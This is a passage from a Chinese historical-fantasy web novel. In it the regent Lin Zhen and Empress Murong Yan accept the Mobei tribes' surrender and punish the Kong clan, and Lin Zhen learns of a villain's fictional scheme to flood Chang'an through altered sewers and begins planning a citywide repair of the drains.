他叹了口气,从凤榻上下来,一边整理着自己有些凌乱的衣袍,一边对殿外说道:“杜相请起吧,此事怪不得你。你先去紫宸殿候着,我与陛下稍后便到。” “老臣遵旨。”杜如晦如蒙大赦,连忙从地上爬起来,擦了擦额头的冷汗,脚步匆匆地退下了。 殿内,慕容嫣看着林臻那副欲求不满又不得不强行装作一本正经的憋屈模样,“噗嗤”一声笑了出来。 她将被子拉下一点,露出一双水光潋滟的凤眸,嗔怪地白了他一眼。 “好了,别黑着一张脸了,不知道的还以为谁欠了你几百万两银子呢。正事要紧。” 林臻回过头,走到榻边,俯下身,在她光洁的额头上重重亲了一口,声音里还带着一丝不甘:“这笔账,我先记下了。等晚上,再跟你好好算!” 说完,他便转身,叫了宫人进来,伺候慕容嫣洗漱更衣。 一刻钟后,当慕容嫣再次出现在林臻面前时,已经恢复了那个高贵威严、母仪天下的大乾女帝。 她依旧穿着那身神凤降世裙,只是在外面,重新罩上了那件代表着至高皇权的黑金色霞帔。 极致玄黑的苏锦底料,在殿内明亮的烛光下,显得深邃而庄重。 那只用真金线绣成的擎天巨凤,从她的肩头,一直盘踞到裙摆的尽头,凤目炯炯,仿佛在无声地宣告着主人的威严。 因为即将要上朝,她那长达五丈的墨金色苏锦拖尾,平整地铺开,如同黑金色的潮水,从她的脚下,一直蔓延到大殿的门口,每一步,都带着君临天下的磅礴气势。 林臻也换上了一身与她配套的墨麒麟亲王袍服,袍服上用金线绣着脚踏祥云、仰天咆哮的麒麟,威武不凡。 他自然地走到慕容嫣身边,牵起她的手,两人并肩,向着太极殿的方向走去。 太极殿内,文武百官早已分列两侧,等候多时。 当司礼监太监那一声高亢的“陛下驾到!王爷驾到!”响起时,所有官员,全都躬身下拜,山呼万岁。 林臻和慕容嫣并肩走上高高的御阶,在丹陛之上的凤椅和麒麟宝座上,缓缓坐下。 两人的袍服拖尾,在他们身后交织在一起,铺满了整个巨大的丹陛,形成一片充满了无上威严与绝对权力的、黑金交织的壮丽图景。 “众卿平身。”慕容嫣的声音,清越而威严,响彻整个大殿。 “谢陛下!” “宣,漠北使臣,上殿!” 随着唱喏声,一行十余人,身穿特色鲜明的漠北部落服饰,长相粗犷的汉子,在鸿胪寺官员的引领下,大步走进了太极殿。 为首的一人,身材异常魁梧,满脸的络腮胡子,眼神却异常明亮。他正是如今漠北势力最大的部落之一,浑邪王部的现任首领,呼韩邪。 他也是在乌维死后,第一个站出来,表示愿意归顺大乾的漠北王爷。 他一进殿,看到高坐于上的那对年轻得过分的帝后,眼中闪过一丝复杂的情绪。有敬畏,有好奇,也有一丝……不甘。 就是这个看起来比他还年轻的男人,在鹰嘴崖,在一线天,用神一般的战术,将他们漠北引以为傲的数十万铁骑,打得溃不成军,尸横遍野。 就是这个看起来娇美柔弱、仿佛一阵风就能吹倒的女人,却以雷霆手段,坐镇后方,将整个大乾帝国,拧成了一股绳,为前线的胜利,提供了最坚实的后盾。 这两人,简直就是一对怪物! 呼韩邪心中感慨万千,但脸上的表情,却愈发恭敬。 他走到大殿中央,对着慕容嫣和林臻,行了一个标准的漠北跪拜大礼,将自己的额头,重重地,贴在了冰冷的金砖地面上。 “漠北罪臣呼韩邪,叩见大乾天可汗陛下!叩见大乾摄政王殿下!陛下万岁万岁万万岁!王爷千岁千岁千千岁!” 他身后的一众漠北使臣,也纷纷跪倒在地,用生硬的汉话,高声喊道。 “呼韩邪王爷请起。”慕容嫣淡淡地开口,声音听不出喜怒。 “谢陛下!”呼韩邪站起身,从怀中,取出一卷用羊皮制成的地图,和一封烫金的降表,高高举过头顶。 “启禀陛下,王爷!前漠北大汗乌维,倒行逆施,不敬天威,擅自挑起战端,致使漠北生灵涂炭,罪该万死!如今,乌维已伏诛,我漠北诸部,愿永世归顺大乾,奉大乾陛下为我漠北草原,唯一的天可汗!此为我漠北三十六部,共同献上的降表,与草原的地图!从今往后,漠北之地,皆为大乾之土!漠北之民,皆为陛下之民!我等,愿为陛下,牧马戍边,永镇北疆!” 他的话,掷地有声,响彻整个太极殿! 满朝文武,在听到这番话后,一个个,都激动得面红耳赤! 开疆拓土! 这是何等不世的奇功! 自古以来,中原王朝与北方草原的战争,持续了上千年。 胜多败少,但却从未有任何一个朝代,能像今天这样,让整个漠北草原,都心甘情愿地,俯首称臣! 这是足以载入史册的、最辉煌的功绩! 所有人的目光,都下意识地,看向了御阶之上的那对年轻夫妻。 眼中,充满了狂热的崇拜和敬畏。 他们知道,一个属于大乾的,前所未有的盛世,已经拉开了序幕! 慕容嫣的脸上,也露出了一丝满意的笑容。 她看了一眼身旁的林臻,林臻对她微微点头。 她随即开口道:“呼韩邪王爷,与诸位使臣,有心了。你们能幡然悔悟,弃暗投明,朕心甚慰。” “传朕旨意!自今日起,册封呼韩邪为我大乾‘安北王’,世袭罔替!其余诸部首领,也各有封赏!朕,还将在燕然都护府,开设互市,允许漠北与我中原,自由通商!朕希望,从今往后,我们汉人与草原的兄弟,能化干戈为玉帛,共享太平!” 这道旨意一出,呼韩邪等人,顿时喜出望望外! 他们原以为,这次前来,就算不被问罪,也至少会被狠狠地敲打一番。 却没想到,这位女帝,非但没有追究他们之前的罪责,反而还给予了如此丰厚的封赏! 不仅册封了王爵,还允许开设互市! 这对于物资匮乏的漠北草原来说,简直就是天大的恩赐! “谢陛下天恩!谢王爷天恩!”呼韩邪等人,再次激动地跪倒在地,拼命地磕头。 这一次,他们是彻彻底底地,心服口服了。 处理完漠北的事宜,慕容嫣又将目光,转向了殿下的文武百官。 “众位爱卿,北疆已定,江南亦安。然,国库空虚,百废待兴。接下来,便是考验我等君臣,治理天下之能的时候了。朕希望,诸位能与朕和王爷,同心同德,为开创我大乾万世太平之基业,而殚精竭虑!” “臣等,遵旨!愿为陛下,为王爷,鞠躬尽瘁,死而后已!”满朝文武,齐声应诺,声震寰宇。 然而,就在这君臣同心、气氛热烈到极点的时刻。 一个不合时宜的、尖细的声音,突然从殿外传来。 “陛下!礼部尚书孔颖达大人,于殿外求见!” 孔颖达? 听到这个名字,整个太极殿瞬间安静了下来。 所有人的脸上,都露出了古怪的神色。 孔颖达,是孔志谦的亲叔叔,也是当朝孔家的家主。自孔志谦在江南谋逆、最终被林臻下令关入天牢之后,这位礼部尚书,便一直称病在家,已经快一个月,没有上朝了。 所有人都以为,他这是吓破了胆,准备就这么当一辈子缩头乌龟了。 却没想到,他竟然会在今天,这个节骨眼上,主动前来求见? 他想干什么? 林臻和慕容嫣对视了一眼,眉头,都微微地皱了起来。 第1133章 孔颖达 太极殿内的气氛,因为“孔颖达”这个名字的出现,而变得有些微妙。 文武百官们交头接耳,窃窃私语。 大家都想不明白,这位孔家的家主,在这个时候跑来,到底是想干什么。 难道是想为他那个已经沦为阶下囚的侄子求情? 这胆子也太大了吧! 孔志谦犯下的,可是诛九族的谋逆大罪! 他孔颖达不被牵连,已经是女帝和摄政王法外开恩了,他竟然还敢主动凑上来? 这不是茅房里打灯笼——找死吗? 御阶之上,慕容嫣的凤眸,也微微眯了起来。 她看了一眼身旁的林臻,发现他脸上虽然没什么表情,但眼神却变得有些玩味。 “宣。” 最终,慕容嫣还是淡淡地吐出了一个字。 她也很好奇,这位据说是当世大儒、最重礼法的孔尚书,葫芦里到底卖的是什么药。 很快,一个身穿绯红色官袍,须发花白,但身形依旧挺拔的老者,在内侍的引领下,缓步走进了太极殿。 正是礼部尚书,孔颖达。 他一进殿,所有人的目光,都集中在了他的身上。 只见他脸色苍白,眼窝深陷,整个人看起来,比一个月前,苍老了至少十岁。 但他的腰杆,却挺得笔直,脸上,带着一种近乎偏执的、属于读书人的傲气。 他走到大殿中央,没有像其他人一样,立刻跪下山呼万岁。 而是先整理了一下自己的衣冠,然后,才对着御阶之上,行了一个标准的、无可挑剔的稽首大礼。 “罪臣孔颖达,叩见陛下,叩见王爷。”他的声音,沙哑,却异常清晰。 “孔爱卿,何罪之有啊?”慕容嫣看着他,语气平淡,听不出喜怒,“你不是称病在家吗?今日怎么有空,来上朝了?” 孔颖达缓缓地直起身,抬起头,目光直视着御阶之上,那张绝美的、带着无上威严的脸。 “回陛下,罪臣今日前来,并非为己,而是为我孔家,清理门户!” 此言一出,满朝皆惊! 清理门户? 什么意思? 只见孔颖达从宽大的袖袍中,取出了一卷早已写好的奏折,双手高高举过头顶。 “罪臣家中,不幸,出了孔志谦此等不忠不孝、无法无天之逆贼!此獠丧心病狂,蛊惑人心,意图颠覆我大乾江山,实乃我孔氏一族,千年未有之奇耻大辱!罪臣身为孔家族长,教子无方,管教不严,致使家门不幸,罪无可恕!” “今日,罪臣恳请陛下恩准!将逆贼孔志谦,从我孔氏一族的族谱之上,彻底划去!并由罪臣,亲自监刑,将其……凌迟处死!以正国法!以儆效尤!以慰天下!以谢我孔家列祖列宗在天之灵!” 他这番话,说得是慷慨激昂,义正言辞!仿佛他不是那个逆贼的亲叔叔,而是与他有着不共戴天之仇的仇人一般! 大殿内的百官们,一个个都听傻了。 这操作……也太骚了吧! 大义灭亲?划清界限?这孔老头,为了保全孔家的名声和地位,还真是什么都干得出来啊! 不少官员,看向他的眼神,都带上了一丝鄙夷。 然而,林臻和慕容嫣,却从他这番看似大义凛然的话语中,听出了一丝别的味道。 这老狐狸,是在试探。 他是在试探自己和嫣儿,对孔家的态度。 如果他们同意了,那就等于,默认了孔家与孔志谦无关,孔家,便能从这场泼天的谋逆大案中,彻底脱身。 如果他们不同意,那他便可以摆出一副“忠心耿耿,奈何君王不信”的委屈模样,博取天下读书人的同情。 好算计!真是好算计! 林臻的心里,冷笑了一声。 他看了一眼身旁的慕容嫣,只见她端起手边的茶杯,轻轻地吹了吹,并没有立刻说话。 这丫头,是越来越有皇帝的范儿了。知道什么时候该说,什么时候不该说。 林臻清了清嗓子,开口了。他的声音,不大,却清晰地传遍了整个大殿。 “孔尚书,忠君爱国之心,朕与陛下,都看到了。只是……” 他话锋一转,目光变得锐利起来。 “孔志谦犯下的,是谋逆大罪。按我大乾律法,当诛九族!陛下念你孔家乃圣人之后,为我大乾,也曾立下过汗马功劳,这才法外开恩,只究其首恶,未曾牵连你孔氏一族。这,已经是天大的恩典了。” “你现在,却要亲自监刑,将其凌迟处死?怎么?你是觉得,我大乾的刑部和大理寺,都是摆设吗?还是觉得,你孔家的家法,可以凌驾于,我大乾的国法之上?” 林臻的这番话,说得是绵里藏针,字字诛心! 直接将孔颖达那点小心思,给摆在了台面上! 你不是想划清界限吗? 好啊! 我先把你捧到忠君爱国的高度,然后再告诉你,你这是想用家法,来干涉国法! 这顶大帽子扣下来,看你怎么接! 孔颖达的脸色,瞬间,变得比刚才还要苍白! 他没想到,这位年轻的摄政王,年纪轻轻,手段却如此老辣! 三言两语,就堵死了他所有的退路! “罪臣……罪臣不敢!”他噗通一声,再次跪倒在地,额头上,冷汗涔涔而下。 “不敢就好。”林臻看着他那副狼狈的模样,心中没有半分的同情。 他站起身,走到御阶的边缘,居高临下地看着孔颖达,声音冰冷地说道:“孔志谦的罪,自有国法来审!他的命,也自有朕与陛下,来定!不劳孔尚书,费心了。” “至于你孔家……” 林臻的声音,顿了顿。 整个大殿的官员,都屏住了呼吸。 他们知道,最关键的,来了。 摄政王,要对孔家,做出最后的宣判了。 “陛下仁慈,说了只究首恶。但,死罪可免,活罪难逃!” “传我与陛下的旨意!礼部尚书孔颖达,教子无方,治家不严,难辞其咎!着,革去其礼部尚书一职,削其爵位,闭门思过!十年之内,孔氏一族,不得参与科举,不得入朝为官!” “另,罚孔家,捐出其名下一半的家产、田地,充入国库,用以抚恤,此次江南之乱中,死伤的百姓和将士!” 这个判决一出,孔颖达的身体,猛地一晃,几乎就要瘫倒在地! 革职!削爵! 十年不得入仕! 罚没一半家产! 这……这几乎是等于,要了孔家半条命啊! 孔家之所以能有今日的地位,靠的是什么? 靠的,就是朝中有人,靠的,就是那遍布天下的田产和财富! 现在,林臻和慕容嫣,一刀,就斩断了他们最重要的两条腿! 十年! 十年之后,大乾的朝堂之上,哪里还会有他们孔家的位置? 好狠! 真是太狠了! “孔颖达,你,可服?”林臻的声音,如同催命的魔咒,在他的耳边响起。 孔颖达嘴唇哆嗦着,他想说“不服”,他想质问,凭什么! 孔志谦犯的罪,凭什么要整个孔家来承担! 可是,他不敢。 他看着御阶之上,林臻那双冰冷的、不带任何感情的眼睛。 他知道,自己只要敢说一个“不”字,等待他孔家的,恐怕就不是罚没一半家产那么简单了。 而是,满门抄斩! “罪臣……领旨……谢恩……”他用尽全身的力气,从牙缝里,挤出了这几个字。然后,整个人,便如同被抽去了所有的精气神一般,瘫软在地,再也站不起来了。 处理完孔颖达,林臻的心里,却并没有半分的轻松。 他总觉得,事情,没有那么简单。 孔志谦那个疯子,真的就这么完了吗? 那个所谓的“虚无党”,真的就凭赵无忌他们抓到的那些人,就能彻底肃清吗? 他想起了孔志谦那本写满了疯狂念头的日记,想起了他在日记最后,提到的那个,语焉不详的,针对长安的,“最终计划”。 不行,我得再去会会他。 林臻的心里,突然冒出了这个念头。 他要亲自去一趟天牢,去见那个已经被折断了双腿,彻底沦为废人的孔志谦。 他要从那个疯子的嘴里,撬出他最后的,也是最深的秘密! 第1134章 净世计划 朝会散后,林臻没有回栖凤阁,而是直接换上了一身不起眼的黑色常服,独自一人,前往了天牢。 天牢,位于皇城的最北端,是整个大乾帝国,最阴森,也最戒备森严的地方。 这里关押的,都是罪大恶极的死囚,或是身份特殊的重犯。 寻常的犯人,关押在天牢的外围。 而像孔志谦这种等级的逆贼,则被关押在天牢最深处的,第九层。 那里,被称为“无间地狱”。 据说,被关进去的人,从来没有一个,能活着出来。 林臻一路畅通无阻。 天牢的守卫,在看到他那块象征着摄政王身份的麒麟令牌时,一个个都吓得噤若寒蝉,连头都不敢抬,更别提什么盘问阻拦了。 越往里走,空气就越是阴冷潮湿。 空气中,弥漫着一股血腥味、霉味和排泄物混合在一起的、令人作呕的气味。 通道两旁的墙壁上,不时传来犯人们痛苦的呻吟和绝望的咒骂。 但林臻的脸上,却没有任何的表情。 他早已习惯了比这里,更残酷一百倍的,战场。 当他走到第九层的入口时,两名如同铁塔一般的锦衣卫校尉,拦住了他。 “王爷,陛下有令,任何人,不得探视逆贼孔志谦。”其中一名校尉,硬着头皮,躬身说道。 “本王,也不行吗?”林臻的目光,淡淡地扫了他一眼。 那名校尉只觉得一股冰冷的、如同实质般的杀气,瞬间将他笼罩! 他感觉自己像是被一头远古凶兽给盯上了,浑身的血液,都快要凝固了。 “属……属下不敢!”他双腿一软,噗通一声就跪了下去。 “开门。”林臻的声音,不带一丝温度。 “是!是!” 厚重的、由玄铁打造的牢门,被缓缓打开。 林臻迈步,走了进去。 第九层的牢房,与外面截然不同。 这里,没有惨叫,没有咒骂,只有一片死一般的寂静。 每一间牢房,都是用精钢打造,三面都是墙壁,只有一面,是碗口粗的铁栅栏。 孔志谦,就被关押在最里面的一间。 林臻走到牢门前,停下了脚步。 只见牢房的角落里,一个披头散发、形容枯槁的人,正蜷缩在地上。他的手脚,都被粗大的铁链锁着,两条腿,以一个诡异的角度,不自然地扭曲着。 正是孔志谦。 听到脚步声,他缓缓地,抬起了头。 当他看到是林臻时,那双原本死寂无神的眼睛里,突然,迸发出了一丝异样的光彩。 “呵呵……呵呵呵……”他突然,低声地笑了起来,声音沙哑,如同夜枭哀鸣,“林臻……你……你终于来了……” “我等你,等了很久了。” “你是在等我,来杀你吗?”林臻看着他,声音冰冷。 “杀我?”孔志谦笑得更开心了,他挣扎着,想要从地上坐起来,但断裂的腿骨,让他根本无法动弹,只能像一条蛆虫一样,在地上蠕动着。 “不,不,不。我知道,你不会杀我的。你和那个女人,不是想让我,活着,看着你们开创所谓的盛世吗?不是想让我在无尽的绝望中,慢慢烂死吗?呵呵……真是,好恶毒的,惩罚啊……” 他的脸上,露出了一个扭曲的、分不清是痛苦还是快意的表情。 林臻没有理会他的疯言疯语,只是淡淡地问道:“孔志谦,我今天来,只想问你一件事。” “你的那个‘净世计划’,那个所谓的,针对长安的,最终计划,到底是什么?” 听到“净世计划”四个字,孔志谦的眼中,瞬间,迸发出了一股狂热的、病态的光芒! “怎么?你怕了?”他看着林臻,脸上,露出了一个得意的、挑衅的笑容,“你终于,还是怕了!林臻!我告诉你!我的计划,已经启动了!你们,谁也阻止不了!哈哈哈哈!” “整个长安!整个大乾!都将为我,为我们伟大的事业,陪葬!” 他疯狂地嘶吼着,像一头发了疯的野兽。 林臻看着他,眉头,紧紧地锁了起来。 他知道,用常规的审讯手段,是不可能从这个疯子嘴里,问出任何东西的。 他深吸一口气,突然,换了一种语气。 “孔志谦,我承认,你很聪明。” 孔志谦的笑声,戛然而止。他有些意外地,看着林臻。 林臻继续说道:“你布下的每一个局,都堪称完美。无论是漠北的奇袭,还是江南的叛乱,甚至是运河的投毒。一环套一环,一计毒过一计。如果不是我,换做任何一个人,恐怕,都早已成了你的手下亡魂。” “在这个世界上,能让我林臻,都感到棘手的对手,你是第一个。” 林臻的这番话,说得很平静,也很真诚。 孔志谦听完,那张因为疯狂而扭曲的脸上,竟然,露出了一丝……享受的表情。 对于他这种自负到了极点的人来说,来自他一生之敌的认可,远比任何酷刑,都更能触动他的内心。 “只可惜……”孔志谦的眼中,闪过一丝遗憾,“我们,终究是敌人。” “是啊,只可惜。”林臻点了点头,“不过,我还是很好奇。你那个所谓的‘净世计划’,到底是什么?能让你如此自信,认为一定可以,将我们,将整个长安,都拖入地狱?” “我想,这个计划,一定是你这一生,最得意的,杰作吧?” “能不能,在我这个手下败将面前,展示一下,你这个胜利者的,最后杰作?” 林臻的语气,带着一丝恰到好处的、激将的意味。 孔志谦沉默了。 他看着林臻,那双浑浊的眼睛里,闪烁着挣扎和犹豫。 他知道,林臻是在激他。 但他控制不住自己。 他太想,太想看到林臻那张震惊、绝望、无能为力的脸了! 他太想,在他这个唯一的、值得他尊重的对手面前,炫耀自己那足以毁灭世界的天才构想了! 这种诱惑,对他来说,甚至,超过了死亡本身! 许久,他终于,再次笑了起来。 只是这一次,他的笑容里,不再是疯狂,而是一种……智商上的,绝对优越感。 “好。”他看着林臻,一字一句地说道,“既然你这么想知道,那我就,成全你。” “我的最终计划,很简单。” “我没有在城里埋下火药,也没有在水源里投下剧毒。” “我只是……改变了一点点,东西。” “我让人,在修建长安城的时候,将所有地下排水管道的图纸,都做了微小的改动。” “我让人,在长安城下,挖了九条,与那九座城门一一对应的,巨大的地龙!” “这些地龙,平时,是用来排走城中的污水。但是,一旦到了雨季,一旦,长安城,遭遇了百年不遇的,特大暴雨……” 他的嘴角,勾起了一抹魔鬼般的、残忍的笑容。 “那九条地龙,就会在瞬间,变成九条,吞噬一切的,洪龙!” “它们会倒灌!会将整个长安城,所有的污水、污泥,全都,从地下,翻涌上来!” “届时,整个长安,都将变成一座,巨大无比的,粪坑!” “瘟疫,会以前所未有的速度,蔓延开来!饥荒,混乱,死亡……” “林臻,你不是战神吗?你不是能以一敌万吗?我倒要看看,你如何,与天斗!你如何,去战胜,一场由你自己亲手建造的城市,所带来的,灭顶之灾!” “哈哈……哈哈哈哈哈哈!” 他疯狂地大笑着,笑声在空旷的、死寂的天牢里,回荡着,显得是那么的,刺耳,又那么的,令人不寒而栗! 林臻听完,只觉得一股寒气,从脚底板,直冲天灵盖! 他整个人,都僵在了原地! 他终于知道,孔志谦的最终计划,到底是什么了! 釜底抽薪! 这才是真正的釜底抽薪! 这才是真正的绝户毒计! 第1135章 地龙翻身,水淹长安 林臻走出天牢的时候,天色已经完全黑了。 长安的夜,灯火辉煌,长街之上,依旧能听到百姓们为即将到来的庆典而欢庆的喧闹声。可这一切,落在他眼里,却都蒙上了一层灰暗的、不祥的阴影。 地龙翻身,水淹长安…… 孔志谦那如同魔鬼诅咒般的话语,还在他的脑海里,一遍又一遍地回响。 他从没想过,一个人,竟然可以恶毒到这种地步。 这不是战争,这不是阴谋。 这是一种,针对一个文明,一个城市的,最彻底的,毁灭。 他甚至不敢去想,如果孔志谦的计划真的成功了,那将会是怎样一副人间地狱的景象。 数百万的百姓,将在污水的浸泡和瘟疫的折磨中,痛苦地死去。这座他和他心爱的女人,倾尽所有,想要守护的,全世界最繁华的城市,将变成一座,巨大无比的,坟墓。 不! 绝不能让这种事情发生! 林臻的眼中,瞬间迸发出了骇人的、冰冷的杀意! 他加快了脚步,几乎是用上了轻功,一路向着皇宫,向着栖凤阁的方向,飞奔而去。 当他推开栖凤阁大门的时候,慕容嫣正坐在灯下,手里拿着一卷书,似乎是在看,但眼神,却明显有些心不在焉。 她依旧穿着那件作为唯一寝衣的神凤降世裙。 此刻,她并未罩上霞帔,整个人少了几分君临天下的威严,多了几分属于妻子的温婉。 极致玄黑的苏锦底料,在柔和的宫灯光晕下,仿佛能将所有的光线都吸进去,显得深邃而神秘。 这件以轻盈透气的苏锦工艺织就的棉质睡裙,虽然裙幅巨大,拖尾长达五丈,但穿在身上却丝毫感觉不到沉重,柔软的布料贴着肌肤,带来一丝丝冰凉而舒适的触感。 因为她是坐着,那长长的墨金色苏锦拖尾,便从她的椅背后,恣意地堆叠、流淌在地板上,形成一片充满了慵懒与宁静的、华贵的凌乱。 听到开门声,她立刻抬起头,当她看到林臻那张阴沉得几乎要滴出水来的脸时,她的心,猛地一沉。 “夫君,怎么了?出什么事了?”她连忙站起身,迎了上来。 林臻没有说话,他只是走上前,一把,将她紧紧地,拥入怀中。 他抱得很用力,仿佛要将她,揉进自己的骨血里。 慕容嫣能感觉到,他的身体,在微微地发抖。 她认识他这么久,从未见过他如此失态的模样。 就算是当初在漠北,被数万大军围困,在一线天,以三百死士,对阵一万五千金狼骑时,他也没有像现在这样过。 到底,是发生了什么事?能让他,都感到恐惧? “夫君,你别吓我。”慕容嫣的声音,也带上了一丝颤抖。 林臻将脸,深深地埋在她的颈窝里,贪婪地,嗅着那能让他心安的、熟悉的兰花香气。 许久,他才缓缓地开口,声音沙哑得不成样子。 “嫣儿,我们……可能,有大麻烦了。” 他将孔志谦那个恶毒的“净世计划”,原原本本地,告诉了她。 慕容嫣听完,整个人,都愣在了那里。 她的脸上,血色瞬间褪尽,变得一片煞白。 地龙……倒灌……水淹长安…… 这……这怎么可能?! 长安城,是前朝历经百年,耗费了无数人力物力,才修建而成的。其地下水网的设计,更是请了当时天下最顶尖的工匠,反复论证,精密计算过的。怎么可能会出现,倒灌的情况? 可是,她知道,林臻不会骗她。 而孔志谦那个疯子,也绝对干得出,这种丧心病狂的事情! 一股比之前在江南,听到运河被投毒时,还要强烈百倍的寒意,瞬间,从她的脚底板,直冲天灵盖! 运河投毒,受影响的,还只是沿岸的百姓。朝廷,尚有能力,可以去控制,去补救。 可要是整个长安城,都被污水和瘟疫淹没…… 那……那将是真正的,末日! “他……他说的,是真的吗?”慕容嫣的声音,都在发抖。 “我不知道。”林臻摇了摇头,眼中,满是凝重,“但我们,不能赌。也赌不起。” “那……那我们现在该怎么办?”慕容嫣彻底慌了。她第一次,感觉到了,什么叫真正的,束手无策。 “别怕。”林臻感觉到怀中人儿的颤抖,连忙收紧了手臂,用自己的体温,去温暖她冰冷的身体。 “有我呢。” 他的声音,依旧沉稳,依旧有力,像一剂强心针,瞬间,便让慕容嫣那颗慌乱的心,稍稍安定了下来。 她抬起头,看着他那双在烛光下,依旧锐利如鹰隼的眼睛。 “夫君,你……你有办法了?” “还没。”林臻摇了摇头,但眼中,却没有半分的慌乱,只有一片冰冷的、如同机器一般的冷静。 “但办法总比困难多。” 他拉着慕容嫣,走到御案前,铺开了一张巨大的、长安城的堪舆图。 这张图,是当初修建皇城时,留下的绝密图纸,上面详细地标注了长安城内,每一条街道,每一座坊市,甚至是每一条地下管道的走向。 “孔志谦说,他让人修改了地下排水管道的图纸。那么就一定会留下痕迹。” 林臻的手指,在图纸上,飞快地移动着。 “长安城,共有九座城门,十二条主街。排水系统以皇城为中心,呈辐射状,分别汇入九座城门外的护城河中。这个大体的结构,他改变不了。他能改的,只能是细节。” “比如,管道的直径,接口的角度,以及……一些关键节点的,阀门。” 他的手指,最终,停在了图纸上的九个点上。 那正是,九座城门下,排水管道与护城河,连接的总阀门所在的位置! “如果我没猜错,他一定是在这九个总阀门上,动了手脚!” “他将原本只能单向排水的阀门,改成了,可以双向流动的结构!甚至,可能还加装了某种,可以远程操控的,倒灌机关!” 慕容嫣看着图纸上那九个被林臻标记出来的红点,一颗心,瞬间提到了嗓子眼! “那我们,立刻派人,去将这九个阀门,全都毁了!或者,重新改造过来!”她急切地说道。 “来不及了。”林臻摇了摇头,眼中,闪过一丝凝重。 “从我们得到消息,到派人去施工,至少需要数日的时间。而现在,离孔志谦所说的‘雨季’,还有多久,我们谁也不知道。” “而且,”他顿了顿,声音变得更加冰冷,“我们现在,还不能确定,这到底是不是孔志谦抛出来的又一个烟雾弹。” “他是一个疯子,一个彻头彻尾的,心理变态。他完全有可能,是故意说出这个计划,来让我们自乱阵脚,疲于奔命。而他真正的杀招,或许,还藏在别的地方。” 慕容嫣闻言,只觉得一阵头皮发麻。 进是错。退也是错。 这个孔志谦,就算是死了,也要给他们留下一个如此恶毒的两难之局! “那……那我们到底该怎么办?”她感觉自己的脑子,已经快要不够用了。 林臻没有立刻回答。 他只是静静地看着那张地图,那双深邃的眼睛里,闪烁着旁人难以读懂的、复杂的光芒。 许久,他才缓缓地开口,声音,却带着一种,前所未有的,决绝。 “既然,我们不知道,他的陷阱,到底在哪里。” “那我们就……” “将整个长安城,都翻过来!” “把所有可能存在问题的地方,都给它,重新,修一遍!” 第1136章 必须一个月内完成 “将整个长安城,都翻过来?” 慕容嫣被林臻这个大胆到近乎疯狂的想法,给惊得半天说不出话来。 长安城,是何等巨大? 居住着上百万的军民百姓! 其地下的管网系统,更是如同蛛网一般,错综复杂,绵延数百里! 要把这样一座巨城的地下,全都翻修一遍,需要耗费的人力、物力、财力,简直就是一个天文数字! 更重要的是,时间! 他们没有时间了! “夫君,你疯了吗?”慕容嫣的声音,都有些变了调,“这根本是不可能完成的!就算我们倾尽国库,征发全国的民夫,没有三五年的时间,也根本不可能做到!” “谁说,要三五年了?”林臻的嘴角,却勾起了一抹高深莫测的笑容。 他看着慕容嫣那张写满了震惊和不解的俏脸,伸出手,轻轻地刮了一下她的鼻尖。 “我的傻嫣儿,你忘了,我们现在有一个最好的由头吗?” “由头?”慕容嫣一愣。 “凯旋庆典啊!”林臻的眼中,闪烁着一种猎人般的、兴奋的光芒。 “我们可以对外宣布,为了迎接这场史无前例的凯典,为了彰显我大乾的国威,也为了让全城的百姓,都能更好地,参与到这场狂欢之中。朝廷决定,对长安城,进行一次,史无前例的,大规模‘修缮’!” “我们可以说,要拓宽街道,要修缮坊墙,要疏通沟渠,要加固城防……总之,把所有能想到的借口都用上!” “以‘修缮’为名,我们可以名正言顺地调动京营十二卫,可以征发城中的工匠和民夫,可以在不引起任何怀疑和恐慌的情况下,对整个长安城的地下管网,进行一次,彻底的,排查和改造!” “他们不是想在我们的庆典上,看一场水淹长安的好戏吗?” “那我们就,将计就计!” “让他们亲眼看着,我们是如何,在他们的眼皮子底下,将他们那引以为傲的‘最终计划’,一点一点地,拆得干干净净!” 林臻的这番话,如同一道闪电,瞬间,照亮了慕容嫣那颗被阴云笼罩的心! 对啊! 她怎么没想到! 以庆典为名,行改造之实! 这简直就是一招,瞒天过海的绝世妙计! “夫君,你……你真是个天才!”慕容嫣看着林臻,那双美丽的凤眸之中,瞬间迸发出了无比璀璨的光芒! 那光芒里,充满了对他的崇拜、爱恋和无与伦比的骄傲! 她知道,这个世界上,也只有她的夫君,才能在这样令人绝望的死局之中,想出如此天马行空,却又切实可行的,破局之法! “现在可不是拍马屁的时候。”林臻捏了捏她的脸颊,神色,重新变得凝重起来。 “这个计划听起来简单,但执行起来却难如登天。” “时间是我们最大的敌人。” “我们必须在第一场大雨降临长安之前,完成所有的排查和改造工作!否则,一切,都将前功尽弃!” “还有,保密!” 他的声音,变得愈发冰冷。 “这件事,除了你我杜相,赵无忌,还有具体负责施工的工部尚书之外,绝不能让第六个人知道!否则,一旦消息泄露引起城中百姓的恐慌,那后果不堪设想!” “我明白!”慕容嫣重重地点了点头。 她知道,从这一刻起,一场看不见硝烟,却远比任何战争都更加凶险的“长安保卫战”,已经悄然打响。 而她和林臻,就是这场战争的,最高指挥官。 “传旨!”慕容嫣的声音,瞬间,又恢复了那个杀伐决断的女帝。 “立刻召杜如晦、周兴、工部尚书李格,以及赵无忌,入宫觐见!就现在!立刻!马上!” …… 夜,已经很深了。 但皇宫的紫宸殿内,却是灯火通明,气氛凝重到了极点。 当杜如晦、周兴、李格、赵无忌四人,听完林臻和慕容嫣,关于孔志谦那个恶毒的“净世计划”的叙述之后,一个个,都惊得,面无人色,浑身,都被冷汗浸透。 “畜生!这个孔志谦,简直是丧心病狂!猪狗不如!”脾气最是火爆的户部尚书周兴,第一个,拍案而起,气得浑身发抖,“陛下!王爷!老臣恳请,将此獠,从天牢里提出来!千刀万剐!挫骨扬灰!方能泄我心头之恨!” “周尚书,稍安勿躁。”杜如晦虽然也是气得脸色铁青,但终究还是要沉稳一些,“现在不是追究那个逆贼责任的时候。当务之急,是如何,化解这场,迫在眉睫的,灭顶之灾!” 工部尚书李格,此刻,已经吓得,快要说不出话来了。 他作为主管全国工程建设的最高官员,比任何人都清楚,改造整个长安城的地下管网,是一个多么浩大,多么恐怖的工程! “陛……陛下,王爷,”他的声音,都在发抖,“这工程量实在是,太……太大了……而且图纸我们现在根本不知道,孔志谦那个逆贼到底是在哪里动了手脚。若是一处一处地去排查,恐怕没个一年半载,根本……” “没有一年半载!”林臻的声音,冰冷地,打断了他。 “我只给你们,一个月!” “一个月?!”李格失声惊呼,“王爷!这……这绝对不可能啊!这简直是……” 